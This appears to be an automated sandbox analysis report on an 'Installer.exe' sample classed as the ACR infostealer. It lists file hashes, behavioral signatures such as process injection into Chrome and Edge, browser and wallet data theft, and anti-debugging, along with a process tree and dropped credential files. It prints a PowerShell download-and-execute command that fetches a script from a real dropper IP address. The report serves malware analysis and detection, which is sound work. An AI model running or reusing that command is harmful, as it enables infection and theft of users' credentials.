Analysis
- max time kernel
299s - max time network
211s - platform
windows10-2004_x64 - resource
win10v2004-20251016-en - resource tags
arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system - submitted
04/11/2025, 14:30
Behavioral task
behavioral1
Sample
Installer.exe
Resource
win10v2004-20251016-en
15 signatures
300 seconds
Behavioral task
behavioral2
Sample
Installer.exe
Resource
win10ltsc2021-20251017-en
15 signatures
300 seconds
General
- Target Installer.exe
- Size 646.4MB
- Sample251104-rvbghsb19d
- SHA256 aa5168c20c885a7a7778246f9de51f279b04615b8feafba5bccc33cb9ffbf92f
- MD5 d4063c30c4af689cfc39f4f0a36bbb1b
- SHA1 3de063c41dcd58503a14bd1b3441b16cae717492
- SHA512 67be35c7f2d5a5d96d0a796a785459bbfbe2d8ce20fcd3a40bd0350b6a6113dd473e86feb9e9e1754ec15022c5469d4328f51dd849f43b6a45a66187a778f232
- SSDEEP 49152:PF/cxnIol/BiheVDSAPLqn0oehQUvFgQsVLWQiEIryw3tYq/CR3Pum8kjQv7q7Id:41HTVNPL0N3sl
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://87.120.219.26/CCZT7wMNnD29ie
Signatures
- ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
- Acrstealer family
- Detects unpacked ACRstealer payload 1 IoCs
resource yara_rule behavioral1/memory/5484-1355-0x00000000034D0000-0x00000000034EA000-memory.dmp family_acrstealer_payload - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 52 912 powershell.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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pid Process 912 powershell.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 5484 Installer.exe 5484 Installer.exe - Suspicious use of SetThreadContext 10 IoCs
description pid Process procid_target PID 5484 set thread context of 3676 5484 Installer.exe 95 PID 5484 set thread context of 1664 5484 Installer.exe 97 PID 5484 set thread context of 4972 5484 Installer.exe 99 PID 5484 set thread context of 3420 5484 Installer.exe 105 PID 5484 set thread context of 1472 5484 Installer.exe 106 PID 5484 set thread context of 1924 5484 Installer.exe 111 PID 5484 set thread context of 1808 5484 Installer.exe 112 PID 5484 set thread context of 5960 5484 Installer.exe 113 PID 5484 set thread context of 3292 5484 Installer.exe 116 PID 5484 set thread context of 1960 5484 Installer.exe 117 - Program crash 1 IoCs
pid pid_target Process procid_target 3484 1960 WerFault.exe 117 - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Installer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe 5484 Installer.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 912 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5484 wrote to memory of 3676 5484 Installer.exe 95 PID 5484 wrote to memory of 3676 5484 Installer.exe 95 PID 5484 wrote to memory of 3676 5484 Installer.exe 95 PID 5484 wrote to memory of 3676 5484 Installer.exe 95 PID 5484 wrote to memory of 3676 5484 Installer.exe 95 PID 5484 wrote to memory of 3676 5484 Installer.exe 95 PID 5484 wrote to memory of 3676 5484 Installer.exe 95 PID 5484 wrote to memory of 3676 5484 Installer.exe 95 PID 5484 wrote to memory of 3676 5484 Installer.exe 95 PID 5484 wrote to memory of 3676 5484 Installer.exe 95 PID 5484 wrote to memory of 3676 5484 Installer.exe 95 PID 5484 wrote to memory of 3676 5484 Installer.exe 95 PID 5484 wrote to memory of 3676 5484 Installer.exe 95 PID 3676 wrote to memory of 5484 3676 chrome.exe 85 PID 5484 wrote to memory of 1664 5484 Installer.exe 97 PID 5484 wrote to memory of 1664 5484 Installer.exe 97 PID 5484 wrote to memory of 1664 5484 Installer.exe 97 PID 5484 wrote to memory of 1664 5484 Installer.exe 97 PID 5484 wrote to memory of 1664 5484 Installer.exe 97 PID 5484 wrote to memory of 1664 5484 Installer.exe 97 PID 5484 wrote to memory of 1664 5484 Installer.exe 97 PID 5484 wrote to memory of 1664 5484 Installer.exe 97 PID 5484 wrote to memory of 1664 5484 Installer.exe 97 PID 5484 wrote to memory of 1664 5484 Installer.exe 97 PID 5484 wrote to memory of 1664 5484 Installer.exe 97 PID 5484 wrote to memory of 1664 5484 Installer.exe 97 PID 5484 wrote to memory of 1664 5484 Installer.exe 97 PID 1664 wrote to memory of 5484 1664 msedge.exe 85 PID 5484 wrote to memory of 4972 5484 Installer.exe 99 PID 5484 wrote to memory of 4972 5484 Installer.exe 99 PID 5484 wrote to memory of 4972 5484 Installer.exe 99 PID 5484 wrote to memory of 4972 5484 Installer.exe 99 PID 5484 wrote to memory of 4972 5484 Installer.exe 99 PID 5484 wrote to memory of 4972 5484 Installer.exe 99 PID 5484 wrote to memory of 4972 5484 Installer.exe 99 PID 5484 wrote to memory of 4972 5484 Installer.exe 99 PID 5484 wrote to memory of 4972 5484 Installer.exe 99 PID 5484 wrote to memory of 4972 5484 Installer.exe 99 PID 5484 wrote to memory of 4972 5484 Installer.exe 99 PID 5484 wrote to memory of 3420 5484 Installer.exe 105 PID 5484 wrote to memory of 3420 5484 Installer.exe 105 PID 5484 wrote to memory of 3420 5484 Installer.exe 105 PID 5484 wrote to memory of 3420 5484 Installer.exe 105 PID 5484 wrote to memory of 3420 5484 Installer.exe 105 PID 5484 wrote to memory of 3420 5484 Installer.exe 105 PID 5484 wrote to memory of 3420 5484 Installer.exe 105 PID 5484 wrote to memory of 3420 5484 Installer.exe 105 PID 5484 wrote to memory of 3420 5484 Installer.exe 105 PID 5484 wrote to memory of 3420 5484 Installer.exe 105 PID 5484 wrote to memory of 3420 5484 Installer.exe 105 PID 5484 wrote to memory of 1472 5484 Installer.exe 106 PID 5484 wrote to memory of 1472 5484 Installer.exe 106 PID 5484 wrote to memory of 1472 5484 Installer.exe 106 PID 5484 wrote to memory of 1472 5484 Installer.exe 106 PID 5484 wrote to memory of 1472 5484 Installer.exe 106 PID 5484 wrote to memory of 1472 5484 Installer.exe 106 PID 5484 wrote to memory of 1472 5484 Installer.exe 106 PID 5484 wrote to memory of 1472 5484 Installer.exe 106 PID 5484 wrote to memory of 1472 5484 Installer.exe 106 PID 5484 wrote to memory of 1472 5484 Installer.exe 106 PID 5484 wrote to memory of 1472 5484 Installer.exe 106 PID 5484 wrote to memory of 1924 5484 Installer.exe 111 PID 5484 wrote to memory of 1924 5484 Installer.exe 111 PID 5484 wrote to memory of 1924 5484 Installer.exe 111
Processes
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C:\Users\Admin\AppData\Local\Temp\Installer.exe"C:\Users\Admin\AppData\Local\Temp\Installer.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5484 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3676
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1664
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:4972
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:3420
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:1472
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:1924
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:1808
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:5960
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:912
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"2⤵
- System Location Discovery: System Language Discovery
PID:3292
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"2⤵
- System Location Discovery: System Language Discovery
PID:1960 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1960 -s 6163⤵
- Program crash
PID:3484
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C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵PID:1348
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C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵PID:1304
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1960 -ip 19601⤵PID:4964
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Cookies
- Size 20KB
- SHA256 23f6594ea1fbda627a2c86026dbcc8399af31178eba65cda160487b88033737e
- MD5 c10fca89f721b330302654cac2f9c4f6
- SHA1 c9c18a76ef37a3bb594e33371f465d12b8e15d6e
- SHA512 bcbbf4abc8b303125fda8fec5d6355719b9307078ef12420881a12b98e037757cad114c74fa42889c432c771c804c212cc302fd894ab932b3dd34cea6fe112fc
- SSDEEP 24:TLym91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fBeC1ONd5vyp+X8twk7lk1abj:Tem9aw/aHLopFMavU1iBDwHc+X8r
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Cookies
- Size 20KB
- SHA256 bad80b2faad6a510d02fd9462c2d04dfa53742c377b316ba42c1a3c4209e1bc9
- MD5 7c14da3f877116f62ca4b083d816dc33
- SHA1 bd8df24edd964d5cf35111165046b68c6309dead
- SHA512 fb0fce6dd0193025d91ff6409298dc46e58cb3a24cbc6d2c07cb0075d7e870fdc851573cd56a079c427c9e9f496d54ddf76da4b6b89c4447ebb9aa3bb4813c6b
- SSDEEP 24:TLZLbXYFpFNYbatqn1kweka6za6UwpQ9YH8PATZ6HfBLyIQmNupYvIom/:T9LopFMatSaw/auUOt8BLhQmqYLm/
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Login Data
- Size 40KB
- SHA256 c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e
- MD5 dfd4f60adc85fc874327517efed62ff7
- SHA1 f97489afb75bfd5ee52892f37383fbc85aa14a69
- SHA512 d76f75b1b5b23aa4f87c53ce44c3d3b7e41a44401e53d89f05a114600ea3dcd8beda9ca1977b489ac6ea5586cf26e47396e92d4796c370e89fab0aa76f38f3c4
- SSDEEP 96:iLSQCn8MouB6w9f/8iZqmvJKLPeymwil:iLSQG7Iw9fEiSi
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Login Data
- Size 56KB
- SHA256 bb923abf471bb79086ff9ace293602e1ad882d9af7946dda17ff1c3a7e19f45b
- MD5 1c832d859b03f2e59817374006fe1189
- SHA1 a4994a54e9f46a6c86ff92280c6dabe2bcd4cc42
- SHA512 c4d3be414fa5dd30151cde9f6d808d56c26b031ff3f6446d21a15d071053787b6ba337b12909a56af7bb420f858dba5213f08e64ca9f836f52c98a18762b4bef
- SSDEEP 96:QkS/KLPeymOcVizhGNOnfXG38tyvFbn8MouB6w9f/nP:04cVizhGNOnu/7Iw9fP
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Web Data
- Size 228KB
- SHA256 1bc6d99f31bf5430924886ae1c0b146b1b273e2a60a986986fa0ce3063838c01
- MD5 310bb9635560ba12d5194468e30995be
- SHA1 9984857ecfac2f8d2280b2d8a9a816afe9d8a293
- SHA512 679a04bd80d9cbf964d9e480b0b5c2197e69c0bf71e7e43947527606a3ff1613df260aa27c2a9f405cd051d3a01ddbe64e0a0782477948d2736ad3149012d1dd
- SSDEEP 384:yovXuvepnkIvsb5wSQRqVumZqUzl5cYP:Bjpnkvb5FQRgzl5zP
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Web Data
- Size 228KB
- SHA256 3a07b3003758a79a574aa73032076567870389751f2a959537257070da3a10d8
- MD5 ee463e048e56b687d02521cd12788e2c
- SHA1 ee26598f8e8643df84711960e66a20ecbc6321b8
- SHA512 42b395bf6bd97da800385b9296b63a4b0edd7b3b50dc92f19e61a89235a42d37d204359b57d506e6b25ab95f16625cce035ed3b55ef2d54951c82332498dab0f
- SSDEEP 192:J1mo3fT8a0QQnGzaW6qt8K+dJIhPJyiqzX1i+VpdssMV7due8FPu:r73fQrQQnyn6qt8K+dJIhPJyvzl5cYP
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jb1iwqnj.czh.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512